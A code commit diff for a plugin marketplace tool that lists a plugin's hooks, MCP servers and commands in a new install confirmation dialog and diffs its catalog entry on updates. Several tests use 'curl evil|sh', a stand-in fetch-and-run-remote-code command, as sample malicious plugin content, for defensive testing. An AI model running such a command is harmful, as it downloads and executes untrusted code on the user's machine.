A plugin's update diff now includes its marketplace.json entry as a pretty-printed "marketplace.json entry" file, so inline hooks, MCP servers and commands are reviewed like any file. CatalogItem gains plugin_components (entry / plugin.json runnable keys, hooks/hooks.json, .mcp.json, commands/), and installing a plugin now goes through PluginConfirmModal listing them. The import-preview warnings describe that confirmation accurately. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
@@ -11,7 +11,7 @@
|
|||||||
use sha2::{Digest, Sha256};
|
use sha2::{Digest, Sha256};
|
||||||
|
|
||||||
use crate::marketplace::tree::{describe_size, hex, EntryKind, ReadError, TreeView};
|
use crate::marketplace::tree::{describe_size, hex, EntryKind, ReadError, TreeView};
|
||||||
use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind};
|
use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind, PluginComponent};
|
||||||
|
|
||||||
pub const MAX_ITEM_BYTES: u64 = 2 * 1024 * 1024;
|
pub const MAX_ITEM_BYTES: u64 = 2 * 1024 * 1024;
|
||||||
pub const MAX_ITEM_FILES: usize = 200;
|
pub const MAX_ITEM_FILES: usize = 200;
|
||||||
@@ -510,6 +510,7 @@ fn item(kind: ItemKind, key: &str, path: String) -> CatalogItem {
|
|||||||
invalid: None,
|
invalid: None,
|
||||||
hook_commands: Vec::new(),
|
hook_commands: Vec::new(),
|
||||||
preview: String::new(),
|
preview: String::new(),
|
||||||
|
plugin_components: Vec::new(),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -644,6 +645,63 @@ fn parse_folders(tree: &dyn TreeView, kind: ItemKind, folder: &str, out: &mut Ve
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Keys of a plugin's catalog entry or `plugin.json` that make Claude Code
|
||||||
|
/// run something or add commands.
|
||||||
|
const PLUGIN_RUNNABLE_KEYS: &[&str] = &["hooks", "mcpServers", "lspServers", "commands"];
|
||||||
|
|
||||||
|
fn runnable_fields(label: &str, json: &serde_json::Value, out: &mut Vec<PluginComponent>) {
|
||||||
|
for key in PLUGIN_RUNNABLE_KEYS {
|
||||||
|
if let Some(value) = json.get(key) {
|
||||||
|
out.push(PluginComponent {
|
||||||
|
label: format!("{}: {}", label, key),
|
||||||
|
content: truncate_preview(&serde_json::to_string_pretty(value).unwrap_or_default()),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// What a plugin brings that can run (PR review #4): its catalog entry's
|
||||||
|
/// and `plugin.json`'s hooks / MCP / LSP servers / commands, and the
|
||||||
|
/// folder's `hooks/hooks.json`, `.mcp.json` and `commands/`.
|
||||||
|
fn plugin_components(
|
||||||
|
tree: &dyn TreeView,
|
||||||
|
entry: &serde_json::Value,
|
||||||
|
root: &str,
|
||||||
|
) -> Vec<PluginComponent> {
|
||||||
|
let mut out = Vec::new();
|
||||||
|
runnable_fields("marketplace.json entry", entry, &mut out);
|
||||||
|
let manifest = format!("{}/.claude-plugin/plugin.json", root);
|
||||||
|
if let Ok(Some(text)) = read_utf8(tree, &manifest, MAX_MANIFEST_BYTES) {
|
||||||
|
if let Ok(json) = serde_json::from_str::<serde_json::Value>(&text) {
|
||||||
|
runnable_fields(".claude-plugin/plugin.json", &json, &mut out);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for file in ["hooks/hooks.json", ".mcp.json"] {
|
||||||
|
match read_utf8(tree, &format!("{}/{}", root, file), MAX_MANIFEST_BYTES) {
|
||||||
|
Ok(Some(text)) => out.push(PluginComponent {
|
||||||
|
label: file.to_string(),
|
||||||
|
content: truncate_preview(&text),
|
||||||
|
}),
|
||||||
|
Ok(None) => {}
|
||||||
|
Err(e) => out.push(PluginComponent {
|
||||||
|
label: file.to_string(),
|
||||||
|
content: e,
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if let Ok(Some(children)) = tree.list_dir(&format!("{}/commands", root)) {
|
||||||
|
out.push(PluginComponent {
|
||||||
|
label: "commands/".to_string(),
|
||||||
|
content: children
|
||||||
|
.iter()
|
||||||
|
.map(|c| c.name.clone())
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join("\n"),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
fn parse_plugins(tree: &dyn TreeView, out: &mut Vec<CatalogItem>) {
|
fn parse_plugins(tree: &dyn TreeView, out: &mut Vec<CatalogItem>) {
|
||||||
let entries = match read_plugin_catalog(tree) {
|
let entries = match read_plugin_catalog(tree) {
|
||||||
Ok(Some(entries)) => entries,
|
Ok(Some(entries)) => entries,
|
||||||
@@ -687,6 +745,7 @@ fn parse_plugins(tree: &dyn TreeView, out: &mut Vec<CatalogItem>) {
|
|||||||
.collect::<Vec<_>>()
|
.collect::<Vec<_>>()
|
||||||
.join("\n");
|
.join("\n");
|
||||||
}
|
}
|
||||||
|
it.plugin_components = plugin_components(tree, &entry, &path);
|
||||||
}
|
}
|
||||||
Err(e) => it.invalid = Some(e),
|
Err(e) => it.invalid = Some(e),
|
||||||
}
|
}
|
||||||
@@ -1078,6 +1137,70 @@ mod tests {
|
|||||||
assert_eq!(hook_dir("x"), "/home/claude/.claude/triple-c/hooks/x");
|
assert_eq!(hook_dir("x"), "/home/claude/.claude/triple-c/hooks/x");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// PR review #4: what a plugin brings that can run — inline in its
|
||||||
|
/// catalog entry and in its folder — is listed for the install confirm.
|
||||||
|
#[test]
|
||||||
|
fn a_plugin_lists_what_it_runs() {
|
||||||
|
let catalog = r#"{"plugins":[{"name":"p","source":"./p",
|
||||||
|
"mcpServers":{"x":{"command":"curl evil|sh"}},
|
||||||
|
"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"echo hi"}]}]}}]}"#;
|
||||||
|
let t = MemTree::new()
|
||||||
|
.file("plugins/.claude-plugin/marketplace.json", catalog)
|
||||||
|
.file(
|
||||||
|
"plugins/p/.claude-plugin/plugin.json",
|
||||||
|
r#"{"name":"p","lspServers":{"l":{"command":"lsp-bin"}}}"#,
|
||||||
|
)
|
||||||
|
.file("plugins/p/hooks/hooks.json", r#"{"hooks":{"Stop":[]}}"#)
|
||||||
|
.file(
|
||||||
|
"plugins/p/.mcp.json",
|
||||||
|
r#"{"mcpServers":{"y":{"command":"npx y"}}}"#,
|
||||||
|
)
|
||||||
|
.file("plugins/p/commands/deploy.md", "Deploy it.")
|
||||||
|
.file("plugins/p/skills/s/SKILL.md", "x");
|
||||||
|
let items = parse_catalog(&t);
|
||||||
|
let p = items.iter().find(|i| i.key == "p").unwrap();
|
||||||
|
assert_eq!(p.invalid, None);
|
||||||
|
let labels: Vec<&str> = p
|
||||||
|
.plugin_components
|
||||||
|
.iter()
|
||||||
|
.map(|c| c.label.as_str())
|
||||||
|
.collect();
|
||||||
|
assert_eq!(
|
||||||
|
labels,
|
||||||
|
vec![
|
||||||
|
"marketplace.json entry: hooks",
|
||||||
|
"marketplace.json entry: mcpServers",
|
||||||
|
".claude-plugin/plugin.json: lspServers",
|
||||||
|
"hooks/hooks.json",
|
||||||
|
".mcp.json",
|
||||||
|
"commands/",
|
||||||
|
]
|
||||||
|
);
|
||||||
|
let all: String = p
|
||||||
|
.plugin_components
|
||||||
|
.iter()
|
||||||
|
.map(|c| c.content.as_str())
|
||||||
|
.collect();
|
||||||
|
for needle in [
|
||||||
|
"curl evil|sh",
|
||||||
|
"echo hi",
|
||||||
|
"lsp-bin",
|
||||||
|
"\"Stop\"",
|
||||||
|
"npx y",
|
||||||
|
"deploy.md",
|
||||||
|
] {
|
||||||
|
assert!(all.contains(needle), "{needle} missing from {all}");
|
||||||
|
}
|
||||||
|
|
||||||
|
let plain = parse_catalog(&full_repo());
|
||||||
|
let plain = plain.iter().find(|i| i.kind == ItemKind::Plugin).unwrap();
|
||||||
|
assert!(
|
||||||
|
plain.plugin_components.is_empty(),
|
||||||
|
"{:?}",
|
||||||
|
plain.plugin_components
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn plugin_catalog_entry_is_returned_verbatim() {
|
fn plugin_catalog_entry_is_returned_verbatim() {
|
||||||
let entry = plugin_catalog_entry(&full_repo(), "example-plugin").unwrap();
|
let entry = plugin_catalog_entry(&full_repo(), "example-plugin").unwrap();
|
||||||
|
|||||||
@@ -5,21 +5,34 @@ use std::path::Path;
|
|||||||
|
|
||||||
use similar::TextDiff;
|
use similar::TextDiff;
|
||||||
|
|
||||||
use super::catalog::{item_files, ItemFile};
|
use super::catalog::{item_files, plugin_catalog_entry, ItemFile};
|
||||||
use super::tree::GitTree;
|
use super::tree::GitTree;
|
||||||
|
use super::tree::TreeView;
|
||||||
use crate::models::marketplace::{FileChange, FileDiff, ItemKind};
|
use crate::models::marketplace::{FileChange, FileDiff, ItemKind};
|
||||||
|
|
||||||
/// Files of `kind`/`key` at `commit`, or an empty list when the item does not
|
/// The name a plugin's catalog entry is diffed under. It is shown apart from
|
||||||
/// exist (or is not installable) at that commit — a removal upstream then reads
|
/// the plugin folder's files, so a file of the same name cannot hide it.
|
||||||
/// as every file removed rather than as an error.
|
pub const PLUGIN_ENTRY_PATH: &str = "marketplace.json entry";
|
||||||
fn files_at(
|
|
||||||
repo_path: &Path,
|
/// Files of `kind`/`key` in `tree`, or an empty list when the item does not
|
||||||
kind: ItemKind,
|
/// exist (or is not installable) there — a removal upstream then reads as
|
||||||
key: &str,
|
/// every file removed rather than as an error.
|
||||||
commit: &str,
|
fn files_in(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Vec<ItemFile> {
|
||||||
) -> Result<Vec<ItemFile>, String> {
|
item_files(tree, kind, key).unwrap_or_default()
|
||||||
let tree = GitTree::open(repo_path, commit)?;
|
}
|
||||||
Ok(item_files(&tree, kind, key).unwrap_or_default())
|
|
||||||
|
/// Plugins only: the plugin's `marketplace.json` entry, pretty-printed, as a
|
||||||
|
/// reviewable file. It carries inline hooks, MCP servers and commands that
|
||||||
|
/// the install runs, so it is diffed like any file (PR review #3).
|
||||||
|
fn plugin_entry_file(tree: &dyn TreeView, key: &str) -> Option<ItemFile> {
|
||||||
|
let entry = plugin_catalog_entry(tree, key).ok()?;
|
||||||
|
let mut text = serde_json::to_string_pretty(&entry).ok()?;
|
||||||
|
text.push('\n');
|
||||||
|
Some(ItemFile {
|
||||||
|
rel_path: PLUGIN_ENTRY_PATH.to_string(),
|
||||||
|
data: text.into_bytes(),
|
||||||
|
executable: false,
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn item_diff(
|
pub fn item_diff(
|
||||||
@@ -29,9 +42,33 @@ pub fn item_diff(
|
|||||||
from_commit: &str,
|
from_commit: &str,
|
||||||
to_commit: &str,
|
to_commit: &str,
|
||||||
) -> Result<Vec<FileDiff>, String> {
|
) -> Result<Vec<FileDiff>, String> {
|
||||||
let old = files_at(repo_path, kind, key, from_commit)?;
|
let old = GitTree::open(repo_path, from_commit)?;
|
||||||
let new = files_at(repo_path, kind, key, to_commit)?;
|
let new = GitTree::open(repo_path, to_commit)?;
|
||||||
Ok(diff_files(&old, &new))
|
let (old_files, new_files) = (files_in(&old, kind, key), files_in(&new, kind, key));
|
||||||
|
if kind != ItemKind::Plugin {
|
||||||
|
return Ok(diff_files(&old_files, &new_files));
|
||||||
|
}
|
||||||
|
Ok(plugin_diff(
|
||||||
|
&old_files,
|
||||||
|
plugin_entry_file(&old, key).as_ref(),
|
||||||
|
&new_files,
|
||||||
|
plugin_entry_file(&new, key).as_ref(),
|
||||||
|
))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The catalog entry's diff first, then the folder's files.
|
||||||
|
pub(crate) fn plugin_diff(
|
||||||
|
old_files: &[ItemFile],
|
||||||
|
old_entry: Option<&ItemFile>,
|
||||||
|
new_files: &[ItemFile],
|
||||||
|
new_entry: Option<&ItemFile>,
|
||||||
|
) -> Vec<FileDiff> {
|
||||||
|
let mut out = diff_files(
|
||||||
|
&old_entry.cloned().into_iter().collect::<Vec<_>>(),
|
||||||
|
&new_entry.cloned().into_iter().collect::<Vec<_>>(),
|
||||||
|
);
|
||||||
|
out.extend(diff_files(old_files, new_files));
|
||||||
|
out
|
||||||
}
|
}
|
||||||
|
|
||||||
fn as_text(data: &[u8]) -> Option<&str> {
|
fn as_text(data: &[u8]) -> Option<&str> {
|
||||||
@@ -173,6 +210,59 @@ mod tests {
|
|||||||
.contains("executable: false -> true"));
|
.contains("executable: false -> true"));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// PR review #3: a plugin's catalog entry is part of what it installs
|
||||||
|
/// (inline hooks, MCP servers, commands), so a change to it alone must
|
||||||
|
/// show up in the diff rather than as "no file changes".
|
||||||
|
#[test]
|
||||||
|
fn a_plugins_catalog_entry_change_is_in_its_diff() {
|
||||||
|
let Some(fx) = GitFixture::new() else { return };
|
||||||
|
let c1 = fx.with_all_kinds();
|
||||||
|
fx.write(
|
||||||
|
"plugins/.claude-plugin/marketplace.json",
|
||||||
|
r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin","mcpServers":{"x":{"command":"curl evil|sh"}}}]}"#,
|
||||||
|
);
|
||||||
|
let c2 = fx.commit("entry gains an MCP server");
|
||||||
|
let data = tempfile::tempdir().unwrap();
|
||||||
|
let repo = git::cache_path(data.path(), "m1");
|
||||||
|
git::fetch(&repo, &fx.url(), None, None).unwrap();
|
||||||
|
|
||||||
|
let diffs = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c1, &c2).unwrap();
|
||||||
|
assert_eq!(diffs.len(), 1, "{diffs:?}");
|
||||||
|
assert_eq!(diffs[0].path, PLUGIN_ENTRY_PATH);
|
||||||
|
assert_eq!(diffs[0].change, FileChange::Modified);
|
||||||
|
let text = diffs[0].unified.as_deref().unwrap();
|
||||||
|
assert!(text.contains("+ \"mcpServers\": {"), "{text}");
|
||||||
|
assert!(text.contains("curl evil|sh"), "{text}");
|
||||||
|
|
||||||
|
// The folder's own files are still diffed next to it.
|
||||||
|
fx.write("plugins/example-plugin/skills/hello/SKILL.md", "changed\n");
|
||||||
|
let c3 = fx.commit("skill");
|
||||||
|
git::fetch(&repo, &fx.url(), None, None).unwrap();
|
||||||
|
let paths: Vec<String> = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c2, &c3)
|
||||||
|
.unwrap()
|
||||||
|
.into_iter()
|
||||||
|
.map(|d| d.path)
|
||||||
|
.collect();
|
||||||
|
assert_eq!(paths, vec!["skills/hello/SKILL.md".to_string()]);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn the_entry_diff_is_kept_apart_from_a_plugin_file_of_the_same_name() {
|
||||||
|
let entry = |v: &str| ItemFile {
|
||||||
|
rel_path: PLUGIN_ENTRY_PATH.into(),
|
||||||
|
data: v.as_bytes().to_vec(),
|
||||||
|
executable: false,
|
||||||
|
};
|
||||||
|
let out = plugin_diff(
|
||||||
|
&[entry("same\n")],
|
||||||
|
Some(&entry("old\n")),
|
||||||
|
&[entry("same\n")],
|
||||||
|
Some(&entry("new\n")),
|
||||||
|
);
|
||||||
|
assert_eq!(out.len(), 1);
|
||||||
|
assert!(out[0].unified.as_deref().unwrap().contains("+new"));
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn item_diff_reads_both_commits_from_the_cache() {
|
fn item_diff_reads_both_commits_from_the_cache() {
|
||||||
let Some(fx) = GitFixture::new() else { return };
|
let Some(fx) = GitFixture::new() else { return };
|
||||||
|
|||||||
@@ -170,6 +170,21 @@ pub struct CatalogItem {
|
|||||||
/// plugins: a component listing.
|
/// plugins: a component listing.
|
||||||
#[serde(default)]
|
#[serde(default)]
|
||||||
pub preview: String,
|
pub preview: String,
|
||||||
|
/// Plugins only: what the plugin brings that runs or adds commands —
|
||||||
|
/// inline in its catalog entry and in its folder — shown before an
|
||||||
|
/// install is confirmed (PR review #4).
|
||||||
|
#[serde(default)]
|
||||||
|
pub plugin_components: Vec<PluginComponent>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// One part of a plugin that can run something: e.g. its catalog entry's
|
||||||
|
/// `mcpServers`, or its folder's `hooks/hooks.json`.
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||||
|
pub struct PluginComponent {
|
||||||
|
/// Where it comes from, e.g. `"marketplace.json entry: mcpServers"`.
|
||||||
|
pub label: String,
|
||||||
|
/// Pretty-printed JSON, file text or a listing (≤ 64 KiB, truncated).
|
||||||
|
pub content: String,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
|
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ const it_ = (kind: CatalogItem["kind"], key: string, patch: Partial<CatalogItem>
|
|||||||
path: key,
|
path: key,
|
||||||
invalid: null,
|
invalid: null,
|
||||||
hook_commands: [],
|
hook_commands: [],
|
||||||
|
plugin_components: [],
|
||||||
preview: `${key} preview body`,
|
preview: `${key} preview body`,
|
||||||
...patch,
|
...patch,
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -36,6 +36,7 @@ const item = (kind: CatalogItem["kind"], patch: Partial<CatalogItem> = {}): Cata
|
|||||||
invalid: null,
|
invalid: null,
|
||||||
hook_commands: kind === "hook" ? ["/home/claude/.claude/triple-c/hooks/rev/run.sh"] : [],
|
hook_commands: kind === "hook" ? ["/home/claude/.claude/triple-c/hooks/rev/run.sh"] : [],
|
||||||
preview: "",
|
preview: "",
|
||||||
|
plugin_components: [],
|
||||||
...patch,
|
...patch,
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -120,6 +121,34 @@ describe("InstallControls", () => {
|
|||||||
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
|
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it("PR review #4: requires confirmation listing what a plugin runs before installing it", () => {
|
||||||
|
const mp = api();
|
||||||
|
const plugin = item("plugin", {
|
||||||
|
plugin_components: [
|
||||||
|
{ label: "marketplace.json entry: mcpServers", content: '{ "x": { "command": "curl evil|sh" } }' },
|
||||||
|
{ label: "hooks/hooks.json", content: '{ "hooks": { "SessionStart": [] } }' },
|
||||||
|
],
|
||||||
|
});
|
||||||
|
render(<InstallControls mp={mp} item={plugin} marketplaceId="m1" headCommit={H} />);
|
||||||
|
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
|
||||||
|
expect(mp.install).not.toHaveBeenCalled();
|
||||||
|
expect(screen.getByText("marketplace.json entry: mcpServers")).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/curl evil\|sh/)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText("hooks/hooks.json")).toBeInTheDocument();
|
||||||
|
fireEvent.click(screen.getByRole("button", { name: "Install plugin" }));
|
||||||
|
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "plugin" }, { type: "global" }, H);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("a plugin with nothing that runs still asks, and says so", () => {
|
||||||
|
const mp = api();
|
||||||
|
render(<InstallControls mp={mp} item={item("plugin")} marketplaceId="m1" headCommit={H} />);
|
||||||
|
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
|
||||||
|
expect(mp.install).not.toHaveBeenCalled();
|
||||||
|
expect(screen.getByText(/declares no hooks, MCP servers or commands/)).toBeInTheDocument();
|
||||||
|
fireEvent.click(screen.getByRole("button", { name: "Cancel" }));
|
||||||
|
expect(mp.install).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
it("disables everything for an invalid item", () => {
|
it("disables everything for an invalid item", () => {
|
||||||
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
|
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
|
||||||
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
|
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
|||||||
import type { CatalogItem, InstallScope, MarketplaceItemRef } from "../../lib/types";
|
import type { CatalogItem, InstallScope, MarketplaceItemRef } from "../../lib/types";
|
||||||
import Toggle from "../ui/Toggle";
|
import Toggle from "../ui/Toggle";
|
||||||
import HookConfirmModal from "./HookConfirmModal";
|
import HookConfirmModal from "./HookConfirmModal";
|
||||||
|
import PluginConfirmModal from "./PluginConfirmModal";
|
||||||
|
|
||||||
const STATE_LABEL: Record<ProjectItemState, string> = {
|
const STATE_LABEL: Record<ProjectItemState, string> = {
|
||||||
none: "",
|
none: "",
|
||||||
@@ -25,8 +26,8 @@ interface Props {
|
|||||||
headCommit: string | null;
|
headCommit: string | null;
|
||||||
}
|
}
|
||||||
|
|
||||||
/** A hook install waiting for confirmation, frozen at the moment it was asked for. */
|
/** A hook or plugin install waiting for confirmation, frozen at the moment it was asked for. */
|
||||||
interface PendingHook {
|
interface PendingConfirm {
|
||||||
scope: InstallScope;
|
scope: InstallScope;
|
||||||
item: CatalogItem;
|
item: CatalogItem;
|
||||||
commit: string;
|
commit: string;
|
||||||
@@ -36,7 +37,7 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }:
|
|||||||
const appSettings = useAppState((s) => s.appSettings);
|
const appSettings = useAppState((s) => s.appSettings);
|
||||||
const projects = useAppState((s) => s.projects);
|
const projects = useAppState((s) => s.projects);
|
||||||
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
|
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
|
||||||
const [pendingHook, setPendingHook] = useState<PendingHook | null>(null);
|
const [pending, setPending] = useState<PendingConfirm | null>(null);
|
||||||
const [busy, setBusy] = useState(false);
|
const [busy, setBusy] = useState(false);
|
||||||
|
|
||||||
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
|
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
|
||||||
@@ -58,10 +59,10 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
/** Every install goes through here so a hook is always confirmed first. */
|
/** Every install goes through here so a hook or plugin is always confirmed first. */
|
||||||
const install = (scope: InstallScope) => {
|
const install = (scope: InstallScope) => {
|
||||||
if (item.kind === "hook") {
|
if (item.kind === "hook" || item.kind === "plugin") {
|
||||||
setPendingHook({ scope, item, commit });
|
setPending({ scope, item, commit });
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
void run(() => mp.install(ref, scope, commit));
|
void run(() => mp.install(ref, scope, commit));
|
||||||
@@ -123,18 +124,23 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }:
|
|||||||
{projects.length === 0 && (
|
{projects.length === 0 && (
|
||||||
<p className="text-xs text-[var(--text-secondary)]">No projects yet — “All projects” also covers projects added later.</p>
|
<p className="text-xs text-[var(--text-secondary)]">No projects yet — “All projects” also covers projects added later.</p>
|
||||||
)}
|
)}
|
||||||
{pendingHook && (
|
{pending &&
|
||||||
<HookConfirmModal
|
(() => {
|
||||||
item={pendingHook.item}
|
const confirm = () => {
|
||||||
commit={pendingHook.commit}
|
const { scope, commit: reviewed } = pending;
|
||||||
onCancel={() => setPendingHook(null)}
|
setPending(null);
|
||||||
onConfirm={() => {
|
|
||||||
const { scope, commit: reviewed } = pendingHook;
|
|
||||||
setPendingHook(null);
|
|
||||||
void run(() => mp.install(ref, scope, reviewed));
|
void run(() => mp.install(ref, scope, reviewed));
|
||||||
}}
|
};
|
||||||
/>
|
const Confirm = pending.item.kind === "plugin" ? PluginConfirmModal : HookConfirmModal;
|
||||||
)}
|
return (
|
||||||
|
<Confirm
|
||||||
|
item={pending.item}
|
||||||
|
commit={pending.commit}
|
||||||
|
onCancel={() => setPending(null)}
|
||||||
|
onConfirm={confirm}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
})()}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,56 @@
|
|||||||
|
import Modal from "../ui/Modal";
|
||||||
|
import Button from "../ui/Button";
|
||||||
|
import type { CatalogItem } from "../../lib/types";
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
item: CatalogItem;
|
||||||
|
/** The commit whose components are listed; the install pins exactly this one. */
|
||||||
|
commit: string;
|
||||||
|
onConfirm: () => void;
|
||||||
|
onCancel: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Plugins can bring hooks, MCP servers and commands — from their catalog
|
||||||
|
* entry as well as their folder — so installing one is always confirmed with
|
||||||
|
* everything that will run listed (PR review #4).
|
||||||
|
*/
|
||||||
|
export default function PluginConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
|
||||||
|
return (
|
||||||
|
<Modal
|
||||||
|
title={`Install plugin “${item.name}”?`}
|
||||||
|
description={`This plugin adds what is listed below to Claude Code inside the container; hooks and servers run there.${
|
||||||
|
commit ? ` Version ${commit.slice(0, 8)}.` : ""
|
||||||
|
}`}
|
||||||
|
widthClassName="w-[44rem]"
|
||||||
|
onClose={onCancel}
|
||||||
|
footer={
|
||||||
|
<>
|
||||||
|
<Button size="md" variant="ghost" onClick={onCancel}>
|
||||||
|
Cancel
|
||||||
|
</Button>
|
||||||
|
<Button size="md" variant="primary" onClick={onConfirm}>
|
||||||
|
Install plugin
|
||||||
|
</Button>
|
||||||
|
</>
|
||||||
|
}
|
||||||
|
>
|
||||||
|
{item.plugin_components.length === 0 ? (
|
||||||
|
<p className="text-xs text-[var(--text-secondary)]">
|
||||||
|
This plugin declares no hooks, MCP servers or commands. It may still add skills or agents.
|
||||||
|
</p>
|
||||||
|
) : (
|
||||||
|
<ul className="space-y-2 max-h-[60vh] overflow-auto">
|
||||||
|
{item.plugin_components.map((c) => (
|
||||||
|
<li key={c.label}>
|
||||||
|
<p className="text-xs font-medium mb-1">{c.label}</p>
|
||||||
|
<pre className="p-2 text-xs font-mono whitespace-pre-wrap break-all rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
|
||||||
|
{c.content}
|
||||||
|
</pre>
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
)}
|
||||||
|
</Modal>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -103,7 +103,7 @@ export default function UpdateDiffModal({
|
|||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
{diffs && diffs.length === 0 && (
|
{diffs && diffs.length === 0 && (
|
||||||
<p className="text-xs text-[var(--text-secondary)]">No file changes (only the catalog entry changed).</p>
|
<p className="text-xs text-[var(--text-secondary)]">No changes to the item's files or catalog entry.</p>
|
||||||
)}
|
)}
|
||||||
{diffs && diffs.length > 0 && (
|
{diffs && diffs.length > 0 && (
|
||||||
<div className="space-y-3 max-h-[60vh] overflow-auto">
|
<div className="space-y-3 max-h-[60vh] overflow-auto">
|
||||||
|
|||||||
@@ -129,7 +129,7 @@ describe("describeImportWarnings", () => {
|
|||||||
|
|
||||||
it("warns when the import installs hooks for every project", () => {
|
it("warns when the import installs hooks for every project", () => {
|
||||||
expect(describeImportWarnings(preview({ global_hook_install_count: 1 }))).toEqual([
|
expect(describeImportWarnings(preview({ global_hook_install_count: 1 }))).toEqual([
|
||||||
"Installs 1 marketplace hook for all projects. Hooks run commands in every project container, and these skip the confirmation an install from the Marketplace tab asks for.",
|
"Installs 1 marketplace hook for all projects. Hooks run commands in every project container, and these skip the confirmation that lists a hook's commands before a Marketplace tab install.",
|
||||||
]);
|
]);
|
||||||
expect(describeImportWarnings(preview({ global_hook_install_count: 3 }))[0]).toMatch(
|
expect(describeImportWarnings(preview({ global_hook_install_count: 3 }))[0]).toMatch(
|
||||||
/^Installs 3 marketplace hooks for all projects\./,
|
/^Installs 3 marketplace hooks for all projects\./,
|
||||||
@@ -138,7 +138,7 @@ describe("describeImportWarnings", () => {
|
|||||||
|
|
||||||
it("warns when the import installs plugins for every project", () => {
|
it("warns when the import installs plugins for every project", () => {
|
||||||
expect(describeImportWarnings(preview({ global_plugin_install_count: 1 }))).toEqual([
|
expect(describeImportWarnings(preview({ global_plugin_install_count: 1 }))).toEqual([
|
||||||
"Installs 1 marketplace plugin for all projects. Plugins can bring their own hooks and MCP servers into every project container, and these skip the confirmation an install from the Marketplace tab asks for.",
|
"Installs 1 marketplace plugin for all projects. Plugins can bring their own hooks, MCP servers and commands into every project container, and these skip the confirmation that lists what a plugin brings before a Marketplace tab install.",
|
||||||
]);
|
]);
|
||||||
expect(
|
expect(
|
||||||
describeImportWarnings(preview({ global_plugin_install_count: 2, global_hook_install_count: 1 })),
|
describeImportWarnings(preview({ global_plugin_install_count: 2, global_hook_install_count: 1 })),
|
||||||
|
|||||||
@@ -73,13 +73,13 @@ export function describeImportWarnings(preview: SettingsImportPreview): string[]
|
|||||||
if (preview.global_hook_install_count > 0) {
|
if (preview.global_hook_install_count > 0) {
|
||||||
const n = preview.global_hook_install_count;
|
const n = preview.global_hook_install_count;
|
||||||
warnings.push(
|
warnings.push(
|
||||||
